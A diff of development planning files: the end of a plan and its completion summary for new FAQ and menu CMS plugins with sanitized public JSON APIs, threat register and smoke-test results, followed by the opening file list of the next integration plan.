- `grep -n "seaglass.Sanitize" ../sm-faq-plugin/controllers/api/faqs.go` prints at least one line.
- `grep -ci "grzyby\|horoskopia\|fonoteka" ../sm-menu-plugin/README.md ../sm-faq-plugin/README.md` reports 0 for each file.
</acceptance_criteria>
<done>A frontend can read a published menu tree and an FAQ by slug and locale as safe JSON, and both plugins are documented.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| internet → /_menu/api/v1, /_faq/api/v1 | anonymous GETs |
| database rows → public JSON | rows copied from PHP bypass the admin save gate |
| admin → menu and FAQ records | authenticated editors |
| Winter export files → import commands | operator-supplied JSONL |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-23 | Tampering (stored XSS) | FAQ description and answers | high | mitigate | richeditor gate on save (plan 01) and seaglass.Sanitize on API output for every row, including raw-SQL copies; TestFaqAPISmoke inserts unsafe HTML directly |
| T-17-24 | Tampering (XSS through links) | menu entry url | high | mitigate | scheme allowlist on save (422 errors.url_scheme) and again in the API (null URL); target enum; the layer refuses non-allowlisted schemes too (plan 05) |
| T-17-25 | Information Disclosure | unpublished entries, inactive menus and FAQs | medium | mitigate | API filters is_active and is_published; 404 for inactive; smoke tests cover each |
| T-17-26 | Denial of Service | public APIs | medium | mitigate | surf throttle buckets menu-public-api and faq-public-api, 120 per minute per trusted client IP |
| T-17-27 | Tampering (mass assignment) | FAQ, Menu, MenuEntry | medium | mitigate | explicit Fillable lists; nest columns and ids not admin-writable |
| T-17-28 | Elevation of Privilege (IDOR) | entry reorder across menus | high | mitigate | config_reorder.yaml partition on menu_id with the framework's locked exact-set rule (plan 01); smoke test posts a foreign entry and expects 409 |
| T-17-29 | Tampering | dependent reference | medium | mitigate | provider recheck on save through signpost.ReferenceOptions (plan 01) |
| T-17-30 | Tampering | import commands | medium | mitigate | refuse non-empty tables without --force; unknown locales abort; unmapped types and stale references dropped with a report; one transaction; SELECT-only export SQL |
| T-17-31 | Repudiation / Tampering | published API shape | medium | mitigate | blocking-human checkpoint before the one-way shape is written; approved shape recorded in the SUMMARY |
| T-17-SC | Tampering | npm/pip/cargo installs | high | mitigate | no package installs; Go dependencies are the framework's and translate's, pinned in go.sum |
</threat_model>
<verification>
- Task 1: FAQ vet and short suite; FAQ admin smoke on a Docker host.
- Task 2: menu vet, short suite and permission; menu admin smoke on a Docker host.
- Task 3: both short suites and the SELECT-only check; import smokes on a Docker host.
- Task 4: shapes-ready and a human decision.
- Task 5: short suites and READMEs; all six smokes on a Docker host.
</verification>
<success_criteria>
- SC-1: the FAQ and menu schema, models, admin screens and import commands are ported 1:1 in their own repositories with READMEs.
- SC-3 (API half): menu and FAQ expose anonymous read APIs a Nuxt layer can consume, with the shape a human approved.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-04-SUMMARY.md` when done, with the commits per repository, the approved API shape and the human's reply, Docker smoke tests run or NOT RUN, and any framework gap found (reported, not patched).
</output>

View File

@@ -0,0 +1,336 @@
---
phase: 17-blog-companions
plan: 04
subsystem: plugins
tags: [go, faq, menu, signpost, seaglass, cabana, surf, postgres, php-parity, public-api]
requires:
- phase: 17-01
provides: cabana repeater, richeditor with seaglass sanitizing and save notices, dependsOn with DependentOptionsProvider, config_reorder.yaml with partition, signpost registry and ReferenceOptions
- phase: 17-02
provides: admin SPA for repeater, rich editor, dependent dropdown and reorder; summercms v0.1.23
- phase: 17-03
provides: Journal menu item types (all-journal-categories target of the Winter type map), sitemap plugin layout to copy
provides:
- new local repository sm-faq-plugin (main, no remote), plugin golem15.faq (Requires golem15.translate)
- new local repository sm-menu-plugin (main, no remote), plugin golem15.menu (no Requires)
- GET /_faq/api/v1/faqs/{slug}?locale=xx (bucket faq-public-api), approved shape D-17
- GET /_menu/api/v1/menus/{code}?locale=xx (bucket menu-public-api), approved shape D-16
- faq:import-winter and menu:import-winter with read-only Winter export SQL
- admin screens FAQs (golem15.faq.faqs) and Menus / Menu entries with tree reorder (golem15.menu.manage_menu)
affects: [17-05 site integration (remotes, submodules, go.mod bump, cors.paths _menu/api/* and _faq/api/*, Nuxt layers consume the two shapes), 17-06 unit tests]
actuals:
tokens: 49970
tasks: 5
commits: 6
plan_head_before: b1213e1250bc59bd353b0906fcecb21e6d44f118
plan_head_after: b1213e1250bc59bd353b0906fcecb21e6d44f118
repo_heads:
sm-faq-plugin: {before: "(new repository)", after: 1585f06, commits: 3}
sm-menu-plugin: {before: "(new repository)", after: 33a65ad, commits: 3}
tech-stack:
added: []
patterns:
- "Public read APIs check the path parameter in the handler (regexp) instead of a route Where, so every miss is the plugin's JSON 404"
- "HTML served from rows that may bypass the admin save gate is passed through seaglass.Sanitize on output"
- "Menu tree resolution behind a small classes.Resolver interface that *signpost.Registry satisfies; list vs single decided by the resolved item having a URL (pact.ResolvedMenuItem contract)"
- "Required belongsTo relations checked in FormAfterCreate/FormAfterUpdate with a 422 and rollback, because cabana writes relation keys after the model rules"
key-files:
created:
- ../sm-faq-plugin/plugin.go
- ../sm-faq-plugin/routes.go
- ../sm-faq-plugin/models/faq.go
- ../sm-faq-plugin/models/faq/fields.yaml
- ../sm-faq-plugin/controllers/faqs.go
- ../sm-faq-plugin/controllers/api/faqs.go
- ../sm-faq-plugin/console/import_winter.go
- ../sm-faq-plugin/scripts/winter-export.sql
- ../sm-faq-plugin/updates/202610110001_create_golem15_faq_faqs.go
- ../sm-faq-plugin/faq_smoke_test.go
- ../sm-faq-plugin/README.md
- ../sm-menu-plugin/plugin.go
- ../sm-menu-plugin/routes.go
- ../sm-menu-plugin/models/menu.go
- ../sm-menu-plugin/models/menu_entry.go
- ../sm-menu-plugin/classes/links.go
- ../sm-menu-plugin/classes/tree.go
- ../sm-menu-plugin/controllers/menuentries.go
- ../sm-menu-plugin/controllers/helpers.go
- ../sm-menu-plugin/controllers/menuentries/config_reorder.yaml
- ../sm-menu-plugin/controllers/api/menus.go
- ../sm-menu-plugin/console/import_winter.go
- ../sm-menu-plugin/scripts/winter-export-menus.sql
- ../sm-menu-plugin/scripts/winter-export-entries.sql
- ../sm-menu-plugin/updates/202610110003_add_url_pattern_to_golem15_menu_menu_entries.go
- ../sm-menu-plugin/menu_smoke_test.go
- ../sm-menu-plugin/README.md
modified:
- .planning/phases/17-blog-companions/deferred-items.md
key-decisions:
- "Task 4 (D-16, D-17) answered \"approve\": both public API shapes built exactly as proposed, including open details (a) and (b)"
- "Menu list vs single registry type is decided by the resolved item: no URL means a list type (keeps stored URL and title), per the pact.ResolvedMenuItem contract; resolved sub-items of any registry entry follow its stored children as generated children"
- "Registry entries are resolved with the type's Nesting and UnprefixedLocale \"\"; ?locale only picks among the returned alternates (the menu plugin does not depend on translate)"
- "Resolved and generated URLs pass the same AllowedURL check as stored URLs (defence in depth)"
- "css_class, icon and code serialize as null when empty; items is always an array; menu css_class null when empty"
- "Path parameters (menu code, FAQ slug) are validated in the handlers, not with route Where, so malformed values get the JSON 404 body"
- "FAQ default locale = enabled is_default translate locale; an unknown or disabled ?locale is 404"
- "Buckets live in plugin.go (acceptance grep) and routes in routes.go; constants faq.BucketPublicAPI and menu.BucketPublicAPI"
patterns-established:
- "Plugin public API smoke tests insert rows with raw SQL to prove output sanitizing and scheme filtering independent of the admin save gate, and exhaust the throttle bucket from one client address"
requirements-completed: [SC-1, SC-2, SC-3, D-02, D-05, D-07, D-08, D-09, D-10, D-16, D-17]
coverage:
- id: D1
description: "FAQ admin: repeater with richeditor answers, script and onclick stripped on save with a notice under content.1.answer, locale column in the list, locale required (422, nothing written), 403 without golem15.faq.faqs"
requirement: "SC-1"
verification:
- kind: integration
ref: "../sm-faq-plugin/faq_smoke_test.go#TestFaqAdminSmoke"
status: pass
human_judgment: false
- id: D2
description: "Menu admin: PHP beforeSave rules, D-05 type set, dependent reference recheck, url_scheme and target 422s, parent cycle, menu-scoped reorder (409 for a foreign entry), menu filter"
requirement: "D-09"
verification:
- kind: integration
ref: "../sm-menu-plugin/menu_smoke_test.go#TestMenuAdminSmoke"
status: pass
human_judgment: false
- id: D3
description: "Winter imports: FAQ locale remap by code (unknown aborts), ids kept, sequence bumped, --force/--dry-run/empty file; menu link->url and blog_categories->all-journal-categories, page subtree dropped and reported, ids and parent_id kept, sequences bumped, dry run writes nothing"
requirement: "D-05"
verification:
- kind: integration
ref: "../sm-faq-plugin/faq_smoke_test.go#TestFaqImportSmoke"
status: pass
- kind: integration
ref: "../sm-menu-plugin/menu_smoke_test.go#TestMenuImportSmoke"
status: pass
human_judgment: false
- id: D4
description: "FAQ API: default locale, ?locale=en/pl, raw-SQL unsafe HTML served sanitized, null description, duplicate slug serves lowest id, 404 JSON for inactive, unknown slug, malformed slug, unknown and disabled locale, 429 after 120 requests per client"
requirement: "D-17"
verification:
- kind: integration
ref: "../sm-faq-plugin/faq_smoke_test.go#TestFaqAPISmoke"
status: pass
human_judgment: false
- id: D5
description: "Menu API: 404 JSON for unknown, inactive and malformed codes; unpublished subtree absent; sort_order then id; javascript: URL and bad target null; single type resolved title/URL; url_pattern override; list type keeps stored title/URL with stored child first then generated children (id null, parent type); ?locale=en alternates; unregistered and unresolvable entries left out; 429 after 120 requests"
requirement: "D-16"
verification:
- kind: integration
ref: "../sm-menu-plugin/menu_smoke_test.go#TestMenuAPISmoke"
status: pass
human_judgment: false
- id: D6
description: "FAQ and menu admin screens in the SPA (repeater, rich editor, dependent reference, reorder tree) render and read well, including the hook validation messages"
requirement: "SC-1"
verification: []
human_judgment: true
rationale: "No browser test in this plan; hook ValidationError messages show as phrase keys (framework gap below)"
- id: D7
description: "READMEs document API paths, example bodies, error bodies, buckets, host CORS paths, import workflow, Winter adaptations, and name no consuming application"
requirement: "SC-1"
verification:
- kind: other
ref: "grep -ci 'grzyby|horoskopia|fonoteka' ../sm-menu-plugin/README.md ../sm-faq-plugin/README.md -> 0 and 0"
status: pass
human_judgment: true
rationale: "The framework docs checker does not run on sibling plugin repos; identifiers were checked by hand"
duration: 32min
completed: 2026-10-12
status: complete
---
# Phase 17 Plan 04: FAQ and menu plugins Summary
**Two new local plugin repositories: sm-faq-plugin (FAQ per slug and locale with a sanitized question repeater, Winter import, and an anonymous `/_faq/api/v1/faqs/{slug}` that re-sanitizes on output) and sm-menu-plugin (menus with link, divider and registry entries, a per-menu reorder tree, Winter import with the D-05 type map, and an anonymous `/_menu/api/v1/menus/{code}` that serves the published tree resolved through signpost), both with the API shapes a human approved**
## Performance
- **Duration:** about 32 min of execution (two agents across the Task 4 checkpoint)
- **Started:** 2026-10-12T15:20:26Z
- **Completed:** 2026-10-12T15:52:34Z
- **Tasks:** 5 (Task 1 tracer verified end-to-end before expansion; Task 4 blocking-human decision)
- **Files:** 28 tracked in sm-faq-plugin, 42 in sm-menu-plugin
## Accomplishments
- **sm-faq-plugin** (`git init -b main`, no remote, module `git.golem15.com/golem15/sm-faq-plugin`, plugin `golem15.faq`, Requires `golem15.translate`): table `golem15_faq_faqs` with the PHP columns and a (slug, locale_id) index; `models.FAQ` with jsonable content and the translate Locale relation; admin FAQs (order 500, permission `golem15.faq.faqs`) with a richeditor description and a content repeater whose answers are sanitized on save with notices; `faq:import-winter` (locale remap by code, ids kept, setval, `--force`, `--dry-run`) with `scripts/winter-export.sql`; public API `GET /_faq/api/v1/faqs/{slug}` (Task 5); README.
- **sm-menu-plugin** (`git init -b main`, no remote, module `git.golem15.com/golem15/sm-menu-plugin`, plugin `golem15.menu`): tables `golem15_menu_menus` and `golem15_menu_menu_entries` with the PHP columns plus nullable `url_pattern`; `models.MenuEntry.BeforeSave` with the PHP rules; admin Menus and Menu entries (type dropdown url, divider and registry types; reference `dependsOn: type` through `signpost.ReferenceOptions`; URL scheme and target checks; reorder tree partitioned by menu); `menu:import-winter` (type map, `--map`, page subtree drop, stale reference drop, report, setval) with two export SQL files; public API `GET /_menu/api/v1/menus/{code}` built by `classes.BuildTree` (Task 5); README.
- **Task 5 specifics:** routes in `routes.go` (anonymous groups `/_faq/api/v1` and `/_menu/api/v1` with `throttle:faq-public-api` / `throttle:menu-public-api`), buckets in `plugin.go` (120 per minute, key `faq-public|` / `menu-public|` plus `surf.ClientIP` behind trusted proxies), handlers write with `wire.WriteJSON`, no CORS in the plugins.
## Task Commits
**sm-faq-plugin**
1. **Task 1 (tracer): FAQ plugin, admin FAQ with sanitized question repeater** - `1c54912` (feat)
3. **Task 3: faq:import-winter and the read-only Winter export SQL** - `7413c69` (feat)
5. **Task 5: public FAQ API with output sanitizing, throttle bucket and README** - `1585f06` (feat)
**sm-menu-plugin**
2. **Task 2: menu admin with registry types, URL checks and tree reorder** - `08f99b8` (feat)
3. **Task 3: menu:import-winter with the D-05 type map and read-only export SQL** - `e044bc7` (feat)
5. **Task 5: public menu API with registry resolution, throttle bucket and README** - `33a65ad` (feat)
**Task 4:** checkpoint:decision, no commit.
**summercms.go:** no code change (plan rule). Plan metadata: the docs commit with this SUMMARY and the deferred items, then the STATE/ROADMAP commit. Nothing was pushed or tagged.
## Task 4 checkpoint: approved API shapes (D-16, D-17)
**Proposal as presented (from the checkpoint state):**
Menu: `GET /_menu/api/v1/menus/{code}?locale=xx` (code `[A-Za-z0-9_-]`). 200 `{"data":{"code","name","css_class","items":[Item]}}`; Item `{id (null for generated children), title, type (stored type; generated children carry parent's registry type key), url (string|null), target ("_self"|"_blank"|null), css_class, icon, code, items:[Item]}`. 404 `{"error":"Menu not found"}` for unknown/inactive. Only active menus, published entries (unpublished subtree hidden); order sort_order then id per parent; url entries return stored URL only if scheme allowlisted (http, https, mailto, tel, /, #) else null; dividers null url; single registry types resolved via signpost with entry url_pattern override, ?locale picks matching alternate else default; list registry types keep stored url/title with resolved children in items; unregistered type or unresolvable reference omitted.
- Open detail (a): single registry entry title = stored title if non-empty, else resolved title for locale.
- Open detail (b): generated child title = locale alternate's title if present, else resolved title; css_class/icon/code/target null.
FAQ: `GET /_faq/api/v1/faqs/{slug}?locale=xx` (slug `[a-z0-9-]`). 200 `{"data":{"name","slug","locale","description","content":[{"question","answer"}]}}`; description and answers sanitized via seaglass.Sanitize on output, description may be null, questions plain; duplicate slugs → active row with lowest id; locale defaults to translate default locale. 404 `{"error":"FAQ not found"}` for unknown slug, inactive row, unknown/disabled locale.
Both: anonymous, never behind backend middleware; throttled per client IP buckets menu-public-api / faq-public-api 120/min (429 surf `{"message":"Too Many Attempts."}`); wire.WriteJSON; no CORS in plugins (plan 05 host adds `_menu/api/*` and `_faq/api/*` to cors.paths).
**Human reply (verbatim):** "approve"
**Example bodies, produced by the shipped handlers from the smoke fixtures:**
```json
GET /_menu/api/v1/menus/main?locale=en
{"data":{"code":"main","name":"Main","css_class":"nav-main","items":[{"id":1,"title":"Home","type":"url","url":"/","target":"_self","css_class":null,"icon":null,"code":"home","items":[]},{"id":2,"title":"about (en)","type":"acme-page","url":"/en/pages/about","target":null,"css_class":null,"icon":null,"code":null,"items":[]},{"id":3,"title":"Pages","type":"acme-list","url":"/pages","target":null,"css_class":null,"icon":null,"code":null,"items":[{"id":4,"title":"Child","type":"url","url":"https://example.test/x","target":"_blank","css_class":null,"icon":null,"code":null,"items":[]},{"id":null,"title":"home (en)","type":"acme-list","url":"/en/pages/home","target":null,"css_class":null,"icon":null,"code":null,"items":[]},{"id":null,"title":"about (en)","type":"acme-list","url":"/en/pages/about","target":null,"css_class":null,"icon":null,"code":null,"items":[]}]},{"id":5,"title":"","type":"divider","url":null,"target":null,"css_class":null,"icon":null,"code":null,"items":[]}]}}
GET /_faq/api/v1/faqs/shipping (stored description had an onerror attribute, answers a script element and an onclick)
{"data":{"name":"Shipping","slug":"shipping","locale":"en","description":"<p>About shipping.</p><img src=\"/x.png\">","content":[{"question":"How long?","answer":"<p>Two days.</p>"},{"question":"Where?","answer":"<p>Everywhere.</p>"}]}}
GET /_faq/api/v1/faqs/nope
{"error":"FAQ not found"}
```
## Docker smoke tests
All six ran on the local Docker daemon and passed after the Task 5 commits: `TestFaqAdminSmoke`, `TestFaqImportSmoke`, `TestFaqAPISmoke` (sm-faq-plugin), `TestMenuAdminSmoke`, `TestMenuImportSmoke`, `TestMenuAPISmoke` (sm-menu-plugin). `go vet ./...` and `go test -short ./...` were green in both repos at every commit; `GOWORK=off go vet ./...` also passes after `go mod tidy`.
## Decisions Made
See `key-decisions` in the front matter.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 1 - Consistency] Timestamps are TIMESTAMPTZ**
- **Found during:** Task 1
- **Issue:** The plan named `TIMESTAMP NULL`; journal and sitemap use `TIMESTAMPTZ`.
- **Fix:** `created_at` and `updated_at` are `TIMESTAMPTZ` on all three tables.
- **Committed in:** 1c54912, 08f99b8
**2. [Rule 1 - Parity] FAQ class string uses the real PHP namespace**
- **Found during:** Task 1
- **Issue:** The plan wrote `Golem15\Faq\Models\FAQ`; the PHP class is `Golem15\FAQ\Models\FAQ`.
- **Fix:** MorphName, ModelName and modelClass use `Golem15\FAQ\Models\FAQ`.
- **Committed in:** 1c54912
**3. [Rule 3 - Blocking] Required relations checked after the write**
- **Found during:** Tasks 1 and 2
- **Issue:** cabana runs model rules before it writes belongsTo keys from relation fields, so a `locale` or `menu` rule cannot see the value.
- **Fix:** `FormAfterCreate` / `FormAfterUpdate` answer 422 and roll back: FAQ `locale` → `errors.locale_required`, menu entry `menu` → `errors.menu_required`.
- **Committed in:** 1c54912, 08f99b8
**4. [Rule 3 - Blocking] Menu entry `menu` is a relation field**
- **Found during:** Task 2
- **Issue:** The plan's menu dropdown served by `DropdownOptionsProvider`; the reorder `partition.relation` must name a belongsTo relation field.
- **Fix:** `menu` is `type: relation` (nameFrom name); `DropdownOptions` serves only `type`; menu and parent choices are ordered by name and title through `RelationExtendOptionsQuery`; all menus are offered.
- **Committed in:** 08f99b8
**5. [Rule 2 - Missing critical] Unknown type and parent cycle refused**
- **Found during:** Task 2
- **Fix:** Saves refuse an unknown type (`errors.type_unknown`); updates refuse a parent that is the entry or a descendant (`errors.parent_cycle`).
- **Committed in:** 08f99b8
**6. [Rule 2 - Missing critical] Menu code uniqueness is a 422**
- **Found during:** Task 2
- **Issue:** The unique index alone made a duplicate code a 500.
- **Fix:** Rule `unique:golem15_menu_menus` on `code`.
- **Committed in:** 08f99b8
**7. [Adaptation] Entries list shows every entry, filtered by menu**
- **Found during:** Task 2
- **Issue:** PHP listed the top-level entries of one menu chosen in a toolbar select.
- **Fix:** The list shows every entry with the `menu_id` scope filter (named like the reorder partition column); the reorder page edits the tree. Documented in the menu README "Winter adaptations" and `config_list.yaml`.
- **Committed in:** 08f99b8 (README in 33a65ad)
**8. [Rule 1 - Consistency] Parent always sets the menu**
- **Found during:** Task 2
- **Issue:** PHP copied the parent's `menu_id` only when empty, which lets an entry sit in another menu than its parent.
- **Fix:** `BeforeSave` always takes `menu_id` from the parent when a parent is set.
- **Committed in:** 08f99b8
**9. [Rule 3 - Blocking] Extra file `sm-menu-plugin/controllers/helpers.go`**
- **Found during:** Task 2
- **Fix:** A shared id formatting helper outside the plan's file list.
- **Committed in:** 08f99b8
**10. [Rule 1 - Pitfall 10] Imports keep PHP values**
- **Found during:** Task 3
- **Fix:** The menu import writes with `SkipHooks` (keeps nest columns, sort_order, menu_id); the FAQ import does not sanitize on input, and the API sanitizes on output.
- **Committed in:** 7413c69, e044bc7
**11. [Rule 1 - Contract] Path parameters checked in the handler, not with Where**
- **Found during:** Task 5
- **Issue:** The plan asked for a route `Where` on `code` and `slug`; a `Where` mismatch makes surf answer `http.NotFound` (text), so a malformed code would not get the approved `{"error":"Menu not found"}` / `{"error":"FAQ not found"}` body. Journal's author routes resolve in the handler for the same reason.
- **Fix:** `api.Show` in each plugin matches `^[A-Za-z0-9_-]+$` / `^[a-z0-9][a-z0-9\-]*$` and answers the JSON 404; tested with `main.json` and `Shipping`.
- **Committed in:** 1585f06, 33a65ad
**12. [Rule 3 - Blocking] go.mod listed no test dependencies**
- **Found during:** Task 5
- **Issue:** `go mod tidy` (recipe `GOPROXY=off GONOSUMDB=git.golem15.com GOFLAGS=-mod=mod`) added the testcontainers and pgx requires the smoke tests import.
- **Fix:** Tidied go.mod and go.sum committed with Task 5 in both repos.
- **Committed in:** 1585f06, 33a65ad
### Plan notes
- **Key link `controllers/api/menus.go` → `Resolve\(`:** the call `reg.Resolve(` lives in `classes/tree.go` (as the plan's Task 5 action describes, "classes/tree.go builds the nested tree … call the signpost Registry.Resolve"); `controllers/api/menus.go` looks up the `*signpost.Registry` and passes it in.
- **List vs single:** the plan did not say how to tell a list type; the tree uses the `pact.ResolvedMenuItem` contract ("URL is empty for a pure list type").
---
**Total deviations:** 12 auto-fixed (1 adaptation, 4 consistency/parity/contract, 2 missing critical, 4 blocking, 1 pitfall). **Impact:** all inside the two plugin repositories; no framework file changed.
## Framework gaps (reported, not patched)
- **Hook ValidationError details are not translated.** Checked in summercms.go: `writeCRUDError` (`modules/cabana/crud.go`) writes `cabana.ValidationError.Details` as given, while `cabana.ForbiddenError` message and details are translated in the request locale (cabana README). The admin SPA does not translate field errors either: `admin/src/components/form/FormField.vue` renders each error as `{{ text }}` and `FormErrorBanner.vue` lists orphan messages raw. So the FAQ and menu hook refusals (`golem15.faq::lang.errors.locale_required`, `golem15.menu::lang.errors.url_scheme`, `errors.target`, `errors.type_unknown`, `errors.parent_cycle`, `errors.menu_required`) show as phrase keys to the editor. Model-rule messages are unaffected. Suggested fix: translate `ValidationError.Details` in the request locale the way `ForbiddenError` is. Logged as deferred item 1 (17-04).
- Earlier framework items still apply: the reorder button label cannot be overridden per controller (17-02 item 2), so the menu entries list button reads "Reorder records".
## Issues Encountered
- None blocking in Task 5; both API smoke tests passed on the first run.
## Known Stubs
None.
## Threat Flags
None beyond the plan's threat register: T-17-23 (seaglass on output, raw-SQL test), T-17-24 (AllowedURL on save and in the API, target enum), T-17-25 (is_active and is_published filters, 404s), T-17-26 (throttle buckets, tested to 429) and T-17-31 (approved shape) are implemented as planned. The menu API logs left-out entries per request (deferred item 2, 17-04).
## User Setup Required
None. Remotes for `sm-faq-plugin` and `sm-menu-plugin`, the push, the go.mod bump and the host `cors.paths` entries are plan 05's human-approved steps.
## Next Phase Readiness
- Plan 05 creates the two remotes, mounts both repositories as submodules, bumps their summercms require, adds `_menu/api/*` and `_faq/api/*` to the host's `http.cors.paths`, runs the Winter exports and imports, and builds the Nuxt layers against the shapes above.
- Plan 06 adds unit tests; `classes.BuildTree` and the FAQ serializer are pure enough to unit test without Postgres.
---
*Phase: 17-blog-companions*
*Completed: 2026-10-12*
## Self-Check: PASSED
All 27 listed key files exist; commits 1c54912, 7413c69, 1585f06 (sm-faq-plugin) and 08f99b8, e044bc7, 33a65ad (sm-menu-plugin) are in their repositories; `commits` (6) is measured per repository (`git rev-list --count HEAD` = 3 in each new repository); summercms.go has no code commit in this plan (HEAD before and after the code work: b1213e1). Task 5's verify commands (vet, short suites, README path greps, the six Docker smokes with three passes per plugin) and acceptance greps were re-run after the commits and passed.

View File

@@ -0,0 +1,398 @@
---
phase: 17-blog-companions
plan: 05
type: execute
wave: 3
depends_on: ["17-02", "17-03", "17-04"]
files_modified:
- ../sm-journal-plugin/go.mod
- ../sm-sitemap-plugin/go.mod
- ../sm-menu-plugin/go.mod
- ../sm-faq-plugin/go.mod
- ../sm-grzybyfunkcjonalne-app/.gitmodules
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/sitemap
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/menu
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/faq
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
- ../sm-grzybyfunkcjonalne-app/go.work
- ../sm-grzybyfunkcjonalne-app/go.mod
- ../sm-grzybyfunkcjonalne-app/go.sum
- ../sm-grzybyfunkcjonalne-app/summer.yaml
- ../sm-grzybyfunkcjonalne-app/plugins.gen.go
- ../sm-grzybyfunkcjonalne-app/main.go
- ../sm-grzybyfunkcjonalne-app/config/http.yaml
- ../sm-grzybyfunkcjonalne-app/config/menu_items.yaml
- ../sm-grzybyfunkcjonalne-app/boot_test.go
- ../sm-grzybyfunkcjonalne-app/companions_test.go
- ../sm-grzybyfunkcjonalne-app/testdata/companions/menus.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/entries.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/faqs.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-definitions.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-settings.json
- ../sm-grzybyfunkcjonalne-app/scripts/import-companions.sh
- ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
- ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
- ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
- ../sm-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
- ../vue-menu-layer/package.json
- ../vue-menu-layer/pnpm-lock.yaml
- ../vue-menu-layer/pnpm-workspace.yaml
- ../vue-menu-layer/nuxt.config.ts
- ../vue-menu-layer/tsconfig.json
- ../vue-menu-layer/.gitignore
- ../vue-menu-layer/.nvmrc
- ../vue-menu-layer/README.md
- ../vue-menu-layer/.playground/nuxt.config.ts
- ../vue-menu-layer/.playground/app/app.vue
- ../vue-menu-layer/app/components/Menu/Nav.vue
- ../vue-menu-layer/app/components/Menu/NavItem.vue
- ../vue-menu-layer/app/composables/useMenu.ts
- ../vue-menu-layer/app/composables/useMenuApi.ts
- ../vue-menu-layer/app/utils/client.ts
- ../vue-menu-layer/app/utils/types.ts
- ../vue-menu-layer/app/utils/menuLinks.ts
- ../vue-menu-layer/app/assets/css/menu-tokens.css
- ../vue-menu-layer/app/assets/css/menu-base.css
- ../vue-menu-layer/tests/menuLinks.test.ts
- ../vue-menu-layer/tests/client.test.ts
- ../vue-menu-layer/testing/fixture-api.mjs
- ../vue-menu-layer/testing/smoke-ssr.mjs
- ../vue-menu-layer/testing/fixtures/menus/main.json
- ../vue-menu-layer/testing/expect.txt
- ../vue-faq-layer/package.json
- ../vue-faq-layer/pnpm-lock.yaml
- ../vue-faq-layer/pnpm-workspace.yaml
- ../vue-faq-layer/nuxt.config.ts
- ../vue-faq-layer/tsconfig.json
- ../vue-faq-layer/.gitignore
- ../vue-faq-layer/.nvmrc
- ../vue-faq-layer/README.md
- ../vue-faq-layer/.playground/nuxt.config.ts
- ../vue-faq-layer/.playground/app/app.vue
- ../vue-faq-layer/app/components/Faq/Block.vue
- ../vue-faq-layer/app/components/Faq/List.vue
- ../vue-faq-layer/app/components/Faq/Item.vue
- ../vue-faq-layer/app/composables/useFaq.ts
- ../vue-faq-layer/app/composables/useFaqApi.ts
- ../vue-faq-layer/app/utils/client.ts
- ../vue-faq-layer/app/utils/types.ts
- ../vue-faq-layer/app/assets/css/faq-tokens.css
- ../vue-faq-layer/app/assets/css/faq-base.css
- ../vue-faq-layer/tests/client.test.ts
- ../vue-faq-layer/testing/fixture-api.mjs
- ../vue-faq-layer/testing/smoke-ssr.mjs
- ../vue-faq-layer/testing/fixtures/faqs/acme.json
- ../vue-faq-layer/testing/expect.txt
- .planning/todos/pending/site-cache-purge-for-menu-and-faq.md
autonomous: false
requirements: [SC-1, SC-3, SC-4, D-05, D-15, D-18, D-19]
user_setup:
- service: gitea (git.golem15.com)
why: "Five new repositories must exist before the first push"
dashboard_config:
- task: "Create golem15/sm-sitemap-plugin, golem15/sm-menu-plugin and golem15/sm-faq-plugin (same visibility as sm-journal-plugin) and golem15/vue-menu-layer and golem15/vue-faq-layer (public, installed by pnpm over https without credentials), all empty"
location: "https://git.golem15.com -> New repository"
- service: grzybyfunkcjonalne.pl PHP database (live server)
why: "D-19 copies menu, FAQ and sitemap rows from the Winter database; only the operator has its credentials"
dashboard_config:
- task: "Run the read-only discovery queries and the five plugin export SQL files with mysql -N -B --raw; place the outputs in /srv/grzybyfunkcjonalne/import/companions/"
location: "PHP server shell (STAGING_SSH host)"
must_haves:
truths:
